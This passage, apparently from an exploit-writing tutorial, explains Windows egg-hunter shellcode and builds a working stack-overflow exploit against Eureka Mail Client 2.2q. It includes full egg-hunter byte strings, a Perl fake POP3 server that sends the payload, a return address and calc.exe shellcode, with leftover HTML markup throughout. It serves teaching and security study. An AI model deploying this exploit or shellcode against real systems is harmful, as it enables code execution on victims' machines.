There are 3 conditions that are important in order for this technique to work<\/p>\n
1. You must be able to jump to (jmp, call, push\/ret) & execute \u201csome\u201d<\/em> shellcode.\u00a0 The amount of available buffer space can be relatively small, because it will only contain the so-called \u201cegg hunter\u201d.\u00a0 The egg hunter code must be available in a predictable location (so you can reliably jump to it & execute it)<\/p>\n 2. The final shellcode must be available somewhere in memory (stack\/heap\/\u2026).<\/p>\n 3. You must \u201ctag\u201d or prepend the final shellcode with a unique string\/marker\/tag. The initial shellcode (the small \u201cegg hunter\u201d) will step through memory, looking for this marker. When it finds it, it will start executing the code that is placed right after the marker using a jmp or call instruction.\u00a0 This means that you will have to define the marker in the egg hunter code, and also write it just in front of the actual shellcode.<\/p>\n Searching memory is quite processor intensive and can take a while.\u00a0 So when using an egg hunter, you will notice that<\/p>\n - for a moment (while memory is searched) all CPU memory is taken.<\/p>\n - it can take a while before the shellcode is executed. (imagine you have 3Gb or RAM)<\/p><\/blockquote>\n <\/p>\n Only a small number of manuals have been written on this subject :\u00a0 Skape wrote this excellent paper<\/a> a while ago, and you can also find some good info on heap-only egg hunting here<\/a>.<\/p>\n Skape\u2019s document really is the best reference on egg hunting that can be found on the internet. It contains a number of techniques and examples for Linux and Windows, and clearly explains how egg hunting works, and how memory can be searched in a safe way.<\/p>\n I\u2019m not going to repeat the technical details behind egg hunting here, because skape\u2019s document is well detailed and speaks for itself.\u00a0 I\u2019ll just use a couple of examples on how to implement them in stack based overflows.<\/p>\n You just have to remember :<\/p>\n - The marker needs to be unique (Usually you need to define the tag as 4 bytes inside the egg hunter, and 2 times (2 times right after each other, so 8 bytes) prepended to the actual shellcode.<\/p>\n - You\u2019ll have to test which technique to search memory works for a particular exploit.\u00a0 (NTAccessCheckAndAuditAlarm seems to work best on my system)<\/p>\n - Each technique requires a given number of available space to host the egg hunter code :<\/p>\n the SEH technique uses about 60 bytes, the IsBadReadPtr requires 37 bytes, the NtDisplayString method uses 32 bytes.\u00a0 (This last technique only works on NT derived versions of Windows. The others should work on Windows 9x as well.)<\/p>\n <\/p>\n As explained above, skape has outlined 3 different egg hunting techniques for Windows based exploits.\u00a0 Again, I\u2019m not going to explain the exact reasoning behind the egg hunters, I\u2019m just going to provide you with the code needed to implement an egg hunter.<\/p>\n The decision to use a particular egg hunter is based on<\/p>\n - available buffer size to run the egg hunter<\/p>\n - whether a certain technique for searching through memory works on your machine or for a given exploit or not. You just need to test.<\/p>\n Egg hunter size = 60 bytes, Egg size = 8 bytes<\/p>\n In order to use this egg hunter, your egg hunter payload must look like this :<\/p>\n (where w00t is the tag. You could write w00t as \"\\x77\\x30\\x30\\x74\" as well)<\/p>\n Note : the SEH injection technique will probably become obsolete, as SafeSeh mechanisms are becoming the de facto standard in newer OS\u2019s and Service Packs. So if you need to use an egg hunter on XP SP3, Vista, Win7\u2026, you\u2019ll either have to bypass safeseh one way or another, or use a different egg hunter technique (see below)<\/p>\n <\/p>\n Egg hunter size = 37 bytes, Egg size = 8 bytes<\/p>\n Egg hunter payload :<\/p>\n <\/p>\n <\/p>\n Egg hunter size = 32 bytes, Egg size = 8 bytes<\/p>\n Egg hunter payload :<\/p>\n or, as seen in Immunity :<\/p>\n <\/p>\n Another egg hunter that is very similar to the NtDisplayString hunter is this one :<\/p>\n Instead of using NtDisplayString, it uses NtAccessCheckAndAuditAlarm (offset 0x02 in the KiServiceTable) to prevent access violations from taking over your egg hunter. More info about NtAccessCheck can be found here<\/a> and here.\u00a0 Also, my friend Lincoln created a nice video about this egg hunter : watch the video here<\/p>\n <\/p>\n These 2 egg hunters use a similar technique, but only use a different syscall to check if an access violation occurred or not (and survive the AV)<\/p>\n NtDisplayString prototype :<\/p>\n NtAccessCheckAndAuditAlarm prototype :<\/p>\n (prototypes found at http:\/\/undocumented.ntinternals.net\/<\/a>)<\/p>\n <\/p>\n This is what the hunter code does :<\/p>\n (thanks Shahin Ramezany !)<\/p>\n <\/p>\n <\/p>\n <\/p>\n In order to demonstrate how it works, we will use a recently discovered vulnerability<\/a> in Eureka Mail Client v2.2q, discovered by Francis Provencher. You can get a copy of the vulnerable version of this application here :<\/p>\n [download id=53]53[\/download]<\/p>\n Install the application. We\u2019ll configure it later on.<\/p>\n This vulnerability gets triggered when a client connects to a POP3 server.\u00a0 If this POP3 server sends long \/\u00a0 specifically crafted\u00a0 \u201c-ERR\u201d data back to the client, the client crashes and arbitrary code can be executed.<\/p>\n Let\u2019s build the exploit from scratch on XP SP3 English (VirtualBox).<\/p>\n We\u2019ll use some simple lines of perl code to set up a fake POP3 server and send a string of 2000 bytes back (metasploit pattern).<\/p>\n First of all, grab a copy of the pvefindaddr plugin<\/a> for Immunity Debugger.\u00a0 Put the plugin in the pycommands folder of Immunity and launch Immunity Debugger.<\/p>\n Create a metasploit pattern of 2000 characters from within Immunity using the following command :<\/p>\n In the Immunity Debugger application folder, a file called mspattern.txt is now created, containing the 2000 character Metasploit pattern.<\/p>\n Open the file and copy the string to the clipboard.<\/p>\n Now create your exploit perl script and use the 2000 characters as payload (in $junk)<\/p>\n <\/p>\n Notes :<\/p>\n - Don\u2019t use 2000 A\u2019s or so - it\u2019s important for the sake of this tutorial to use a Metasploit pattern\u2026 Later in this tutorial, it will become clear why this is important).<\/p>\n - If 2000 characters does not trigger the overflow\/crash, try using a Metasploit pattern of 5000 chars instead<\/p>\n - I used a while(1) loop because the client does not crash after the first -ERR payload.\u00a0 I know, it may look better if you would figure out how many iterations are really needed to crash the client, but I like to use endless loops because they work too most of the time \ud83d\ude42<\/p>\n Run this perl script. It should say something like this :<\/p>\n Now launch Eureka Mail Client. Go to \u201cOptions\u201d - \u201cConnection Settings\u201d and fill in the IP address of the host that is running the perl script as POP3 server.\u00a0 In my example, I am running the fake perl POP3 server on 192.168.0.193 so my configuration looks like this :<\/p>\n (you\u2019ll have to enter something under POP Username & Password, but it can be anything). Save the settings.<\/p>\n Now attach Immunity Debugger to Eureka Email and let it run<\/p>\n When the client is running (with Immunity Attached), go back to Eureka Mail Client, go to \u201cFile\u201d and choose \u201cSend and receive emails\u201d<\/p>\n The application dies. You can stop the perl script (it will still be running - endless loop remember).\u00a0 Look at the Immunity Debugger Log and registers : \u201cAccess violation when executing [37784136]\u201d<\/p>\n Registers look like this :<\/p>\n Now run the following command :<\/p>\n Now it will become clear why I used a Metasploit pattern and not just 2000 A\u2019s.\u00a0 Upon running the !pvefindaddr suggest command, this plugin will evaluate the crash, look for Metasploit references, tries to find offsets, tries to tell what kind of exploit it is, and even tries to build example payload with the correct offsets :<\/p>\n Life is good \ud83d\ude42<\/p>\n So now we know that :<\/p>\n - it\u2019s a direct RET overwrite. RET is overwritten after 710 bytes (VirtualBox). I did notice that, depending on the length of the IP address or hostname that was used to reference the POP3 server in Eureka Email (under connection settings), the offset to overwrite RET may vary. So if you use 127.0.0.1 (which is 4 bytes shorter than 192.168.0.193), the offset will be 714). There is a way to make the exploit generic : get the length of the local IP (because that is where the Eureka Mail Client will connect to) and calculate the offset size based on the length of the IP.\u00a0\u00a0 (723 - length of IP)<\/p>\n - both ESP and EDI contain a reference to the shellcode. ESP after 714 bytes and EDI points to an offset of 991 bytes. (again, modify offsets according to what you find on your own system)<\/p>\n So far so good.\u00a0 We could jump to EDI or to ESP.<\/p>\n ESP points to an address on the stack (0x0012cd6c) and EDI points to an address in the .data section of the application (0x00473678 - see memory map).<\/p>\n If we look at ESP, we can see that we only have a limited amount of shellcode space available :<\/p>\n Of course, you could jump to ESP, and write jumpback code at ESP so you could use a large part of the buffer before overwriting RET.\u00a0 But you will still only have something like 700 bytes of space (which is ok to spawn calc and do some other basic stuff\u2026 ).<\/p>\n Jumping to EDI may work too. Use the \u2018!pvefindaddr j edi\u2019 to find all \u201cjump edi\u201d trampolines. (All addresses are written to file j.txt). I\u2019ll use 0x7E47B533 (from user32.dll on XP SP3). Change the script & test if this normal direct RET overwrite exploit would work :<\/p>\n Attach Immunity to Eureka, and set a breakpoint at 0x7E47B533 (jmp edi).<\/p>\n Trigger the exploit. Immunity breaks at jmp edi. When we look at the registers now, instead of finding our shellcode at EDI, we see A\u2019s. That\u2019s not what we have expected, but it\u2019s still ok, because we control the A\u2019s.\u00a0 This scenario, however, would be more or less the same as when using jmp esp : we would only have about 700 bytes of space. (Alternatively, of course, you could use nops instead of A\u2019s, and write a short jump just before RET is overwritten. Then place the shellcode directly after overwrite RET and it should work too.)<\/p>\nHistory & Basic Techniques<\/h3>\n
Egg hunter code<\/h3>\n
Egg hunter using SEH injection<\/h4>\n
EB21 jmp short 0x23\n59 pop<\/span> ecx\nB890509050<\/span><\/strong> mov eax,0x50905090<\/span><\/strong>\u00a0 ; this is the tag<\/span><\/strong>\n51 push<\/span> ecx\n6AFF push<\/span> byte -0x1\n33DB xor ebx,ebx\n648923 mov [fs:ebx],esp\n6A02 push<\/span> byte +0x2\n59 pop<\/span> ecx\n8BFB mov edi,ebx\nF3AF repe scasd\n7507 jnz 0x20\nFFE7 jmp edi\n6681CBFF0F or bx,0xfff\n43 inc ebx\nEBED jmp short 0x10\nE8DAFFFFFF call 0x2\n6A0C push<\/span> byte +0xc\n59 pop<\/span> ecx\n8B040C mov eax,[esp+ecx]\nB1B8 mov cl,0xb8\n83040806 add dword [eax+ecx],byte +0x6\n58 pop<\/span> eax\n83C410 add esp,byte+0x10\n50 push<\/span> eax\n33C0 xor eax,eax\nC3 ret<\/pre>\nmy<\/span> $egghunter = \"\\xeb\\x21\\x59\\xb8<\/span>\".\n\"w00t<\/span>\".\n\"\\x51\\x6a\\xff\\x33\\xdb\\x64\\x89\\x23\\x6a\\x02\\x59\\x8b\\xfb<\/span>\".\n\"\\xf3\\xaf\\x75\\x07\\xff\\xe7\\x66\\x81\\xcb\\xff\\x0f\\x43\\xeb<\/span>\".\n\"\\xed\\xe8\\xda\\xff\\xff\\xff\\x6a\\x0c\\x59\\x8b\\x04\\x0c\\xb1<\/span>\".\n\"\\xb8\\x83\\x04\\x08\\x06\\x58\\x83\\xc4\\x10\\x50\\x33\\xc0\\xc3<\/span>\";<\/pre>\nEgg hunter using IsBadReadPtr<\/h4>\n
33DB xor ebx,ebx\n6681CBFF0F or bx,0xfff\n43 inc ebx\n6A08 push<\/span> byte +0x8\n53 push<\/span> ebx\nB80D5BE777 mov eax,0x77e75b0d\nFFD0 call eax\n85C0 test eax,eax\n75EC jnz 0x2\nB890509050<\/span><\/strong> mov eax,0x50905090 ; this is the tag<\/span><\/strong>\n8BFB mov edi,ebx\nAF scasd\n75E7 jnz 0x7\nAF scasd\n75E4 jnz0x7\nFFE7 jmp edi<\/pre>\nmy<\/span> $egghunter = \"\\x33\\xdb\\x66\\x81\\xcb\\xff\\x0f\\x43\\x6a\\x08<\/span>\".\n\"\\x53\\xb8\\x0d\\x5b\\xe7\\x77\\xff\\xd0\\x85\\xc0\\x75\\xec\\xb8<\/span>\".\n\"w00t<\/span>\".\n\"\\x8b\\xfb\\xaf\\x75\\xe7\\xaf\\x75\\xe4\\xff\\xe7<\/span>\";<\/pre>\nEgg hunter using NtDisplayString<\/h4>\n
6681CAFF0F or dx,0x0fff\n42 inc edx\n52 push<\/span> edx\n6A43 push<\/span> byte +0x43\n58 pop<\/span> eax\nCD2E int<\/span> 0x2e\n3C05 cmp al,0x5\n5A pop<\/span> edx\n74EF jz 0x0\nB890509050<\/span><\/strong> mov eax,0x50905090 <\/span><\/strong> ; this is the tag<\/span><\/strong>\n8BFA mov edi,edx\nAF scasd\n75EA jnz 0x5\nAF scasd\n75E7 jnz 0x5\nFFE7 jmp edi<\/pre>\nmy<\/span> $egghunter =\n\"\\x66\\x81\\xCA\\xFF\\x0F\\x42\\x52\\x6A\\x43\\x58\\xCD\\x2E\\x3C\\x05\\x5A\\x74\\xEF\\xB8<\/span>\".\n\"w00t<\/span>\".\n\"\\x8B\\xFA\\xAF\\x75\\xEA\\xAF\\x75\\xE7\\xFF\\xE7<\/span>\";<\/pre>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb30.png\" "\\"image\\"")
<\/a><\/p>\nEgg hunter using NtAccessCheck (AndAuditAlarm)<\/h4>\n
my<\/span> $egghunter =\n\"\\x66\\x81\\xCA\\xFF\\x0F\\x42\\x52\\x6A\\x02<\/span><\/strong>\\x58\\xCD\\x2E\\x3C\\x05\\x5A\\x74\\xEF\\xB8<\/span>\".\n\"\\x77\\x30\\x30\\x74<\/span>\". # this is the marker\/tag: w00t\n\"\\x8B\\xFA\\xAF\\x75\\xEA\\xAF\\x75\\xE7\\xFF\\xE7<\/span>\";<\/pre>\nBrief explanation on how NtDisplayString \/ NtAccessCheckAndAuditAlarm egg hunters work<\/h4>\n
NtDisplayString(\nIN PUNICODE_STRING String );<\/pre>\n
NtAccessCheckAndAuditAlarm(\n IN PUNICODE_STRING SubsystemName OPTIONAL,\n IN HANDLE ObjectHandle OPTIONAL,\n IN PUNICODE_STRING ObjectTypeName OPTIONAL,\n IN PUNICODE_STRING ObjectName OPTIONAL,\n IN PSECURITY_DESCRIPTOR SecurityDescriptor,\n IN ACCESS_MASK DesiredAccess,\n IN PGENERIC_MAPPING GenericMapping,\n IN BOOLEAN ObjectCreation,\n OUT PULONG GrantedAccess,\n OUT PULONG AccessStatus,\n OUT PBOOLEAN GenerateOnClose );<\/pre>\n
6681CAFF0F or dx,0x0fff ; get last address in page\n42 inc edx ; acts as a counter\n ;(increments the value in EDX)\n52 push edx ; pushes edx value to the stack\n ;(saves our current address on the stack)\n6A43 push byte +0x2 ; push 0x2 for NtAccessCheckAndAuditAlarm\n ; or 0x43 for NtDisplayString to stack\n58 pop eax ; pop 0x2 or 0x43 into eax\n ; so it can be used as parameter\n ; to syscall - see next\nCD2E int 0x2e ; tell the kernel i want a do a\n ; syscall using previous register\n3C05 cmp al,0x5 ; check if access violation occurs\n ;(0xc0000005== ACCESS_VIOLATION) 5\n5A pop edx ; restore edx\n74EF je xxxx ; jmp back to start dx 0x0fffff\nB890509050 mov eax,0x50905090 ; this is the tag (egg)\n8BFA mov edi,edx ; set edi to our pointer\nAF scasd ; compare for status\n75EA jnz xxxxxx ; (back to inc edx) check egg found or not\nAF scasd ; when egg has been found\n75E7 jnz xxxxx ; (jump back to \"inc edx\")\n ; if only the first egg was found\nFFE7 jmp edi ; edi points to begin of the shellcode<\/pre>\n
Implementing the egg hunter - All your w00t are belong to us !<\/h3>\n
!pvefindaddr pattern_create 2000<\/pre>\n
![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb2.png\" "\\"image\\"")
<\/a><\/p>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb1.png\" "\\"image\\"")
<\/a><\/p>\nuse<\/span> Socket;\n#Metasploit pattern\"my $junk = \"Aa0...<\/span>\"; #paste your 2000 bytes pattern here\n\nmy<\/span> $payload=$junk;\n\n#set up listener on port 110\nmy<\/span> $port=110;\nmy<\/span> $proto=getprotobyname<\/span>('tcp');\nsocket<\/span>(SERVER,PF_INET,SOCK_STREAM,$proto);\nmy<\/span> $paddr=sockaddr_in($port,INADDR_ANY);\nbind<\/span>(SERVER,$paddr);\nlisten<\/span>(SERVER,SOMAXCONN);\nprint<\/span> \"[+] Listening on tcp port 110 [POP3]... \\n<\/span>\";\nprint<\/span> \"[+] Configure Eureka Mail Client to connect to this host\\n<\/span>\";\nmy<\/span> $client_addr;\nwhile($client_addr=accept<\/span>(CLIENT,SERVER))\n{\n print<\/span> \"[+] Client connected, sending evil payload\\n<\/span>\";\n while(1)\n {\n print<\/span> CLIENT \"-ERR <\/span>\".$payload.\"\\n<\/span>\";\n\t print<\/span> \" -> Sent <\/span>\".length<\/span>($payload).\" bytes\\n<\/span>\";\n }\n}\nclose<\/span> CLIENT;\nprint<\/span> \"[+] Connection closed\\n<\/span>\";<\/pre>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb3.png\" "\\"image\\"")
<\/a><\/p>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb4.png\" "\\"image\\"")
<\/a><\/p>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb5.png\" "\\"image\\"")
<\/a><\/p>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb6.png\" "\\"image\\"")
<\/a><\/p>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb7.png\" "\\"image\\"")
<\/a><\/p>\n!pvefindaddr suggest<\/pre>\n
![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb8.png\" "\\"image\\"")
<\/a><\/p>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb9.png\" "\\"image\\"")
<\/a><\/p>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb10.png\" "\\"image\\"")
<\/a><\/p>\nuse<\/span> Socket;\n#fill out the local<\/span> IP or hostname\n#which is used by Eureka EMail as POP<\/span>3 server\n#note : must be exact match !\nmy<\/span> $localserver = \"192.168.0.193<\/span>\";\n#calculate offset<\/span> to EIP\nmy<\/span> $junk = \"A<\/span>\" x (723 - length<\/span>($localserver));\n\nmy<\/span> $ret=pack<\/span>('V',0x7E47B533); #jmp edi from user32.dll XP SP3\nmy<\/span> $padding = \"\\x90<\/span>\" x 277;\n\n#calc.exe\nmy<\/span> $shellcode=\"\\x89\\xe2\\xda\\xc1\\xd9\\x72\\xf4\\x58\\x50\\x59\\x49\\x49\\x49\\x49<\/span>\" .\n\"\\x43\\x43\\x43\\x43\\x43\\x43\\x51\\x5a\\x56\\x54\\x58\\x33\\x30\\x56<\/span>\" .\n\"\\x58\\x34\\x41\\x50\\x30\\x41\\x33\\x48\\x48\\x30\\x41\\x30\\x30\\x41<\/span>\" .\n\"\\x42\\x41\\x41\\x42\\x54\\x41\\x41\\x51\\x32\\x41\\x42\\x32\\x42\\x42<\/span>\" .\n\"\\x30\\x42\\x42\\x58\\x50\\x38\\x41\\x43\\x4a\\x4a\\x49\\x4b\\x4c\\x4a<\/span>\" .\n\"\\x48\\x50\\x44\\x43\\x30\\x43\\x30\\x45\\x50\\x4c\\x4b\\x47\\x35\\x47<\/span>\" .\n\"\\x4c\\x4c\\x4b\\x43\\x4c\\x43\\x35\\x43\\x48\\x45\\x51\\x4a\\x4f\\x4c<\/span>\" .\n\"\\x4b\\x50\\x4f\\x42\\x38\\x4c\\x4b\\x51\\x4f\\x47\\x50\\x43\\x31\\x4a<\/span>\" .\n\"\\x4b\\x51\\x59\\x4c\\x4b\\x46\\x54\\x4c\\x4b\\x43\\x31\\x4a\\x4e\\x50<\/span>\" .\n\"\\x31\\x49\\x50\\x4c\\x59\\x4e\\x4c\\x4c\\x44\\x49\\x50\\x43\\x44\\x43<\/span>\" .\n\"\\x37\\x49\\x51\\x49\\x5a\\x44\\x4d\\x43\\x31\\x49\\x52\\x4a\\x4b\\x4a<\/span>\" .\n\"\\x54\\x47\\x4b\\x51\\x44\\x46\\x44\\x43\\x34\\x42\\x55\\x4b\\x55\\x4c<\/span>\" .\n\"\\x4b\\x51\\x4f\\x51\\x34\\x45\\x51\\x4a\\x4b\\x42\\x46\\x4c\\x4b\\x44<\/span>\" .\n\"\\x4c\\x50\\x4b\\x4c\\x4b\\x51\\x4f\\x45\\x4c\\x45\\x51\\x4a\\x4b\\x4c<\/span>\" .\n\"\\x4b\\x45\\x4c\\x4c\\x4b\\x45\\x51\\x4a\\x4b\\x4d\\x59\\x51\\x4c\\x47<\/span>\" .\n\"\\x54\\x43\\x34\\x48\\x43\\x51\\x4f\\x46\\x51\\x4b\\x46\\x43\\x50\\x50<\/span>\" .\n\"\\x56\\x45\\x34\\x4c\\x4b\\x47\\x36\\x50\\x30\\x4c\\x4b\\x51\\x50\\x44<\/span>\" .\n\"\\x4c\\x4c\\x4b\\x44\\x30\\x45\\x4c\\x4e\\x4d\\x4c\\x4b\\x45\\x38\\x43<\/span>\" .\n\"\\x38\\x4b\\x39\\x4a\\x58\\x4c\\x43\\x49\\x50\\x42\\x4a\\x50\\x50\\x42<\/span>\" .\n\"\\x48\\x4c\\x30\\x4d\\x5a\\x43\\x34\\x51\\x4f\\x45\\x38\\x4a\\x38\\x4b<\/span>\" .\n\"\\x4e\\x4d\\x5a\\x44\\x4e\\x46\\x37\\x4b\\x4f\\x4d\\x37\\x42\\x43\\x45<\/span>\" .\n\"\\x31\\x42\\x4c\\x42\\x43\\x45\\x50\\x41\\x41<\/span>\";\n\nmy<\/span> $payload=$junk.$ret.$padding.$shellcode;\n\n#set up listener on port 110\nmy<\/span> $port=110;\nmy<\/span> $proto=getprotobyname<\/span>('tcp');\nsocket<\/span>(SERVER,PF_INET,SOCK_STREAM,$proto);\nmy<\/span> $paddr=sockaddr_in($port,INADDR_ANY);\nbind<\/span>(SERVER,$paddr);\nlisten<\/span>(SERVER,SOMAXCONN);\nprint<\/span> \"[+] Listening on tcp port 110 [POP3]... \\n<\/span>\";\nprint<\/span> \"[+] Configure Eureka Mail Client to connect to this host\\n<\/span>\";\nmy<\/span> $client_addr;\nwhile($client_addr=accept<\/span>(CLIENT,SERVER))\n{\n print<\/span> \"[+] Client connected, sending evil payload\\n<\/span>\";\n while(1)\n {\n print<\/span> CLIENT \"-ERR <\/span>\".$payload.\"\\n<\/span>\";\n\t print<\/span> \" -> Sent <\/span>\".length<\/span>($payload).\" bytes\\n<\/span>\";\n }\n}\nclose<\/span> CLIENT;\nprint<\/span> \"[+] Connection closed\\n<\/span>\";<\/pre>\n
![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb13.png\" "\\"image\\"")
<\/a><\/p>\n![\"image\"](\"https:\/\/www.corelan.be\/wp-content\/uploads\/2010\/01\/image_thumb12.png\" "\\"image\\"")
<\/a><\/p>\n